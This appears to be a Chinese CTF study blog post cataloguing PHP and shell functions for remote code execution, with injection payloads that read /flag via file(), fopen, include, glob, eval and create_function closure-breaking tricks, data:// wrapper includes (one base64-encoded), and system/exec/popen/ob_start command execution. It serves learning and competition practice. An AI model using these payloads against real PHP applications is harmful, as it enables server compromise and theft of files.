February 26, 2024

RCE函数和命令

“读” 命令

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
less
more
head //head -n 10 filename
tail //tail -n 10 filename
nl
od //od -c filename 以字符形式查看文件内容
strings //strings filename
xxd //xxd filename 显示文件的十六进制和 ASCII 字符
awk //awk '{print $1}' filename 显示文件每行的第一列
sed //sed -n '5,10p' filename 显示文件的第5到第10行
grep //grep 'pattern' filename
dd //dd if=filename bs=512 count=1 读取文件的前512字节
vi/vim
nano
cut
/*用于从每一行中提取指定的字段(列),通常用于提取 CSV、TSV 或其他分隔符分隔的数据。cut -d',' -
f1,2 file.txt: 使用逗号作为分隔符,提取第 1 和第 2 列。cut -c1-10 file.txt: 提取每一行的前 10 个字符。*/
uniq //用于过滤或去除重复的行 直接uniq flag就可以
sort
// 用于对文本行进行排序。它可以按字母顺序、数字顺序、甚至是按特定列进行排序。 也可以直接sort flag
tr // tr 'f' 'F' < flag用于替换或删除字符
wc //统计文本文件中的行数、单词数和字符数的命令,实在不行爆破吧:)
la

image-20240815203342672

php

1
2
3
4
5
6
7
8
9
10
11
12
13
file_get_contents();
file(); //返回的是数组,可以直接cmd=echo file('/flag')[0];
fopen()组合拳 // cmd=echo fread(fopen('/flag','r'),filesize('/flag'));
fgets() //只能读一行 cmd=echo fgets(fopen('/flag','r'),filesize('/flag'));
fgetc() //只能读一字节(除非特别的情况,否则用处很少
readfile()
include/require // cmd=echo include '/flag';NSSCTF{c4d29639-7296-45ca-81cd-fbf3c3c9de93} 1 `如果文件包含 PHP 代码,会被执行`
parse_ini_file(); //解析 ini 文件,并以数组的形式返回内容。
readlink(); //返回符号链接的目标。
glob() //查找与模式匹配的文件路径,返回的是数组。 print glob('/fla*')[0]; /flag
simplexml_load_file() //解析 XML 文件,并返回对象形式的内容。
show_source()
highlight_file()

“输出”命令

1
2
3
4
5
echo
print
var_dump();
print_r() //打印数组和对象的函数 像上面的cmd=echo file('/flag')[0]可以直接cmd=print_r(file('/flag'));

代码执行函数

eval

字符串动态执行,结尾必须有

trick

1
2
3
4
5
eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)

assert

assert是断言函数,可以用来命令执行,assert对分号没有要求

preg_replace (PHP>5.5.0被弃用,7.0.0被废除)

这个函数本来是用来替换字符串的,但是他的e模式符导致了命令执行的可能
e模式符也就是会用eval执行代码,示例如下

1
2
3
<?php
preg_replace("/aaa/e","phpinfo();","aaa")
?>

call_user_func和call_user_func_array

1
2
3
4
<?php
call_user_func('system',"whoami");
call_user_func_array('system',["whoami"]);
?>

会把第一个参数作为回调函数,第二个参数为函数的形参,一个传入字符串一个传入数组。最终都可以导致命令执行。

create_function(PHP 7.2.0 中移除)

前言:已经被闭包代替:

1
2
3
4
$sum_function = function($a, $b) {
return $a + $b;
};
echo $sum_function(3, 4); // 输出 7

create_function可以用来创建一个匿名函数。

create_function(‘$args’, ‘$code’)

1
2
3
4
<?php
$create_function = create_function("", "system('whoami');");
$create_function();
?>

trick

create_function也是往方法体注入内容,那么我们也是可以闭合方法体的

1
2
3
function (形参){
参数内容;
}

假如我们的参数内容是}xxxxx//那么是不是也完成了闭合呢?然后xxxx部分就是我们控制的了,那么我们就不需要调用这个匿名函数,直接完成方法执行。

另一种(反过来我们控制的不是函数体而是参数,道理一样)

1
2
create_function($cmd,"");
这个时候cmd就可以为:){}echo file('/flag')[0];#

array_map

与call_user_func_array类似,也是回调函数

1
array_map("system",["whoami"])

include与伪协议的结合Getshell

伪协议:

1
2
3
4
5
6
7
8
9
<?php
include "data://text/php,<?php system('whoami');?>";
?>

<?php
include "data://text/plain,<?php system('whoami');?>";
?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==可以多重编码

命令执行函数

php中可以执行的

回显型

1
2
3
system() 
passthru()
pcntl_exec()

pcntl_exec(“/bin/bash”,[“-c”,”whami”]),这里“-c”表示紧接着的字符串是一个命令

无回显

1
2
3
exec() //var_dump出来即可
shell_exec() //exec会返回第一行,shell_exec会返回所有结果
`` //==shell_exec

image-20240815190910472

image-20240815191313930

1
2
3
popen() 
proc_open()
pcntl_exec()

popen 返回的流

在 PHP 中,popen 函数用于打开一个管道(pipe)到一个进程,这个管道可以是只读的(r),只写的(w),或者是读写的。popen 函数会返回一个文件指针(通常称为 “流”),你可以通过这个指针来读取或写入数据。

1
2
3
4
5
<?php
$stream = popen('cmd.exe /c dir', 'r');
$read = fread($stream, 2096); //全部读出来
echo $read;
pclose($stream);
1
2
3
4
5
6
<?php
$stream = popen('cmd.exe /c dir', 'r');
while ($line = fgets($stream)) { //一次fgets只读一行
echo $line;
}
fclose($stream);

ob_start

1
2
3
4
5
6
<?php
$cmd = 'system';
ob_start($cmd);
echo "whoami"; //dir只输出一行
ob_end_flush();
?>

About this Post

This post is written by void2eye, licensed under CC BY-NC 4.0.

#Web